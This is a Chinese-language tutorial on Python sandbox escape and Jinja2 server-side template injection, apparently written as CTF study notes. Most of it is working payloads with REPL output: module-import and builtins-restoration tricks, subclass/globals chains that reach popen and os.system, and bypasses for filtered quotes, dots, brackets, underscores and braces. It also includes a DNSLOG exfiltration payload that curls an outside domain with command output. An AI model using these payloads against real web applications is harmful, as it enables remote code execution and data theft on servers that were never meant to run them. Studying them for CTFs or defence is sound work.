沙盒逃逸/SSTI
沙盒:sandbox,是一种安全机制,为运行中的程序提供的隔离环境,通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用.
沙盒逃逸,即在一个代码执行环境下,绕过种种过滤,最终拿下shell权限的过程。
导入包
import
在一个受限制的环境里,禁止导入敏感包是很常见的,一般导入包有一些几种选择:
- import xxx
- from xxx import *
- __import__("xxx")
- importlib库
- imp 库
- reload(xxx)
第一种和第二种基本上是被过滤掉的,我们主要说说后面几种用法。
__import__
作为函数,只接受字符串传参,返回值可直接操作。
>>> __import__("os").system("chdir")
C:\Users\Payton\Desktop\python安全
不过是字符串的话,我们就有很多绕过的方法。
>>> __import__('o'+'s').system("chdir")
>>> __import__('so'[::-1]).system("chdir")
importlib
是对import的补充,可以通过传入字符串来引入一个模块。
>>> import importlib
>>> importlib.import_module('os').system("chdir")
imp
的方法python3.4之后已经废除,这里用python2实验
>>> import imp
>>> file,filepath,desc=imp.find_module('os')
>>> myos=imp.load_module("os",file,filepath,desc)
>>> myos.system("chdir")
reload
用于引入一个模块,但是删除了模块的方法,用于重新恢复对方法的引用。reload
在importlib
中
>>> import os
>>> del os.__dict__["system"]
>>> os.system("chdir")
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
AttributeError: module 'os' has no attribute 'system'
>>> import importlib
>>> importlib.reload(os)
<module 'os' from 'C:\\Users\\Payton\\AppData\\Local\\Programs\\Python\\Python37\\lib\\os.py'>
>>> os.system("chdir")
上述导入包的实质:搜索modules并绑定到局部变量。那么我们可以通过直接读取包文件来导入包。在模块导入的时候,默认在当前目录下查找,然后再在系统中查找,系统查找的范围是sys.path下的所有路径。
在Linux下,sys.path默认是在/usr/lib/pythonx.x/
下,windows在C:\Users\Payton\AppData\Local\Programs\Python\Python37\Lib\
下。
知道了包所对应的地址,就可以利用代码执行去直接导入包。
在python2下可以利用execfile(filname)
执行.py文件,python3已经删除了这个方法,不过可以利用exec(source)
动态加载python代码。
>>> with open('C:/Users\Payton\AppData\Local\Programs\Python\Python37\Lib\os.py','r') as f:
... exec(f.read())
...
>>> system('chdir')
可以看到上面的exec和open我们并没有导入包而可以直接利用,这是因为python内建函数的原因。
builtins
__builtins__
即时引用,在程序还为执行代码的时候就已经加载进来了。此模块并不需要导入,可以在任何模块中执行引用。
dir()
函数不带参数时,返回当前范围内的变量、方法和定义的类型列表。
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__']
>>> name="theoyu"
>>> dir()
['__annotations__', '__builtins__', '__doc__', '__loader__', '__name__', '__package__', '__spec__', 'name', 'os']
dir()
有参数时,可以列出一个模组/类/对象 下面 所有的属性和函数。dir()
本身也是一个内置函数,查看一下__builtins__
中的函数:
可以看到里面可以危险函数有很多:__import__
,exec
,open
,eval
等等都可以来利用。
我们可以直接利用这些函数,当函数名被过滤时,还可以利用dict属性来拼接函数:
>>> __builtins__.exec("print('hello')")
hello
>>> __builtins__.__dict__['__im'+'port__']('os').system('chdir')
C:\Users\Payton
因为内置模块危险函数过多,沙盒里一般会把builtins中的危险函数给删去,在python2和python3中我们的处理方式不同。
python2:
>>> del __builtins__.__dict__["__import__"]
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> import os
之前有说过,在python3中reload已经内置在immpotlib包里,删去了import
也就导致我们根本无法导入包,后来查阅资料得知,python3可以使用内置方法__loader__.load_module
加载sys模块,并从__builtins__.__dict__
中删除sys.modules
模块的缓存但已损坏的副本,以便我们可以使用builtins加载__loader__.load_module
模块的新副本:
>>> del __builtins__.__dict__["__import__"]
>>> import os
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ImportError: __import__ not found
>>> del __loader__.load_module('sys').modules['builtins']
>>> __builtins__ = __loader__.load_module('builtins')
>>> __import__
<built-in function __import__>
文件读取与命令执行
文件读取
(1)open(python2,python3)
open(__file__).read()
(2)file(python2)
file(__file__).read()
(3)codecs模块(python2,python3)
import codecs
codecs.open(__file__).read()
(4)types模块(python2)
import types
types.FileType(__file__,'r').read()
(5)os.open(python2,python3)
import os
fd = os.open(__file__, os.O_RDONLY)
print(os.read(fd, 1024))
(6)file协议
python2
import urllib
u = urllib.urlopen('file:///'+__file__)
python3
import urllib
u = urllib.request.urlopen('file:///'+__file__)
print(u.read())
(7)fileinput模块
import fileinput
with fileinput.input(files=(__file__,)) as f:
for line in f:
print(line)
命令执行
动态执行代码
- exec(source):动态执行复杂的python代码,函数的返回值永远为None。
- execfile(filename):执行一个py文件的内容。
- eval:用来执行简单的python表达式返回表达式的结果。
命令执行
(1) os模块
通过os.system(cmd)
,os.popen(cmd)
调用系统命令,例如:
os.system("whoami")
os.popen('whoami')
(2) commands 模块 (python3已废除)
import commands
print(commands.getoutput('whoami'))
print(commands.getstatusoutput('whoami'))
(3) subprocess模块
subprocess模块是相对比较复杂的,有很多执行命令的函数:
-
subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。
subprocess.call(['ifconfig'],shell=True)
-
subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。
-
subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。
-
subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。
-
subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。
-
subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。
魔法函数
基础
魔法函数的利用在沙盒逃逸中非除重要,同时也是ssti的关键。先看看几个常见的魔法函数:
__class__
:
返回对象所属的类,和type()
相同:
>>> class A():
... pass
>>> a=A()
>>> print(a.__class__)
<class '__main__.A'>
>>> ''.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>
>>> [].__class__
<class 'list'>
__base__
:
以字符串的形式返回一个类所继承的类,如果有继承多个类的话默认为第一个。
__bases__
:
以元组的形式返回一个类所继承的类。
__mro__
:
查看类继承的所有父类,直到object。
class A:
pass
class B(A):
pass
class C(A):
pass
class D(C,B):
pass
print(D.__base__)
print(D.__bases__)
print(D.__mro__)
<class '__main__.C'>
(<class '__main__.C'>, <class '__main__.B'>)
(<class '__main__.D'>, <class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
__subclasses__()
:
获取类的所有子类
class A:
pass
class B(A):
pass
class C(A):
pass
class D(C,B):
pass
print(A.__subclasses__())
[<class '__main__.B'>, <class '__main__.C'>]
__init__
:
用于初始化类,类实例创建后调用。主要与__globals__
配合使用。
__globals__
:
以字典类型返回当前位置的全部模块,方法和全局变量。
class Student:
def __init__(self):
pass
stu=Student()
print(stu.__init__.__globals__)
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000002142CADEF28>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'c:\\Users\\Payton\\Desktop\\python安全\\test.py', '__cached__': None, 'Student': <class '__main__.Student'>, 'stu': <__main__.Student object at 0x000002142E6B4128>}
构建链方法
第一步
使用__class__
来获取内置类所对应的类,可以使用str
,dict
,tuple
,list
等来获取。
>>> ''.__class__
<class 'str'>
>>> [].__class__
<class 'list'>
>>> ().__class__
<class 'tuple'>
>>> {}.__class__
<class 'dict'>
>>> "".__class__
<class 'str'>
第二部
拿到object
基类
用__bases__[0]
拿到基类:
>>> ''.__class__.__bases__[0]
<class 'object'>
用__base__
拿到基类:
>>> ''.__class__.__base__
<class 'object'>
以上两种方法适用于python3,python2需要获取两次
>>> ''.__class__.__bases__[0].__base__
<type 'object'>
用__mro__[1]
或__mro__[-1]
拿到基类:
>>> ''.__class__.__mro__[1]
<class 'object'>
>>> ''.__class__.__mro__[-1]
<class 'object'>
第三步
用__subclasses__()
拿到子类列表:
>>> ''.__class__.__bases__[0].__subclasses__()
[<class 'type'>, <class 'weakref'>,......]
可以一个一个将其打印出来以便找寻找位置。
for i in enumerate("".__class__.__bases__[0].__subclasses__()):
print (i)
(0, <class 'type'>)
(1, <class 'weakref'>)
(2, <class 'weakcallableproxy'>)
(3, <class 'weakproxy'>)
(4, <class 'int'>)
(5, <class 'bytearray'>)
(6, <class 'bytes'>)
(7, <class 'list'>)
(8, <class 'NoneType'>)
(9, <class 'NotImplementedType'>)
(10, <class 'traceback'>)
......
第四步
在子类列表中寻找可getshell
的类。因为python不同版本,包的位置以及用法都有所改动,这里我们着重讲述。
寻找利用链
用第三步的方法,我们可以拿到所有的子类列表,对一个类进行实例化后就可拿到下面的所有函数方法:object.__init__.__globals__.keys()
,我们只需要知道对应python版本中有哪些可以getshell的方法,在转而去对应类中search即可。
例如:python3中的popen
search='popen'
num=-1
for i in ().__class__.__mro__[-1].__subclasses__():
num+=1
try:
if search in i.__init__.__globals__.keys():
print(num,i)
except:
pass
#128 <class 'os._wrap_close'>
>>> "".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
'laptop-jmm4emqp\\payton\n'
但上述方法只是在本地查找,我们一般在本地找好类以后,在直接request
即可。
python3
-
popen
,上面已经介绍过。 -
__import__
:拿到__import__
后,就可以利用文件读取或者命令执行的方法获取flag。将上述代码中的search换为
__import__
找一个
75 <class '_frozen_importlib._ModuleLock'>
:>>> "".__class__.__mro__[-1].__subclasses__()[75].__init__.__globals__['__import__']('os').system('whoami') laptop-jmm4emqp\payton
python2
-
file
读写文件:默认应该都在40>>> ().__class__.__mro__[-1].__subclasses__()[40] <type 'file'> >>> ().__class__.__mro__[-1].__subclasses__()[40]('flag').read() 'flag(python is better than php)'
-
linecache
中的os>>> ().__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['linecache'].os.system('chdir') C:\Users\Payton\Desktop\python安全
-
直接利用
os
>>> ''.__class__.__mro__[-1].__subclasses__()[69].__init__.__globals__['os'].system("chdir")
python2 3通用
-
__builtins__
内置函数python3:
python2:
__builtins__
中可利用的函数导入包处已经介绍过,这里就不过多讲述。
bypass
这里选择python3以下初始语句进行变形。
"".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
过滤引号
五种请求绕过:
request.args.name
request.values.name
request.cookies.name
request.headers.name
request.form.name
{{"".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__[request.args.name1]}}&name1=popen
#<function popen at 0x00000278FB63A2F0>
或者利用__builtins__
中的chr()
进行绕过
{%set+chr=[].__class__.__bases__[0].__subclasses__()[77].__init__.__globals__.__builtins__.chr%}{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)]}}
#<function popen at 0x00000278FB63A2F0>
过滤.
""class__
等价于""["__class__"]
,这个在终端里会失败,在ssti里解析可以成功。
之前用过的一个payload
?class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
过滤[]
我们先看看过滤了[]
会对哪些地方产生影响。
对第一个[]
来说,是在一个tuple中取值,我们用__getitem__(number)
即可,对于第二个[]
,是往一个dict中取value值,我们使用__getattribute__
获取字典中的value,参数为key。
奇怪的是,在网上关于两个的说法还有很多,比如第一个[]
许多payload用的是pop()的方法,但pop并不适用于tuple,猜测可能之前返回是是list类型,不过__subclasses__
返回的list,这里可以使用pop。还有后面字典里,在之前版本是可以直接用dict.key
返回value的值,现在会报错,还是老老实实按规矩来吧。
过滤_
使用十六进制编码绕过,_
编码后为\x5f
,.
编码后为\x2E
payload:
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[128]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
过滤关键字
-
和上述方法一样,十六进制绕过。
-
[]
中+拼接或者__getattribute__
后括号内+拼接。 -
join拼接(同时过滤
.
){{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
过滤{{
-
DNSLOG外带数据
{% if ().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('curl http://theoyu.top/`whoami`').read()=='ssti' %}1{% endif %}
-
print
标记{%print "".__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()%}
本地尝试并没能成功..
bypass pro
元帅学长的博客这几天不知道为什么上不去,等好了再上去观望一下...
python反序列化
参考
https://xz.aliyun.com/t/6885#toc-4
https://lethe.site/2019/08/13/python%E6%B2%99%E7%9B%92%E9%80%83%E9%80%B8/#0x01-%E7%AE%80%E5%8D%95%E4%BB%8B%E7%BB%8D
http://www.cl4y.top/ssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0/#toc-head-17
https://ca01h.top/Python/pysec/1.Jinja2%E7%9A%84SSTI+Bypass/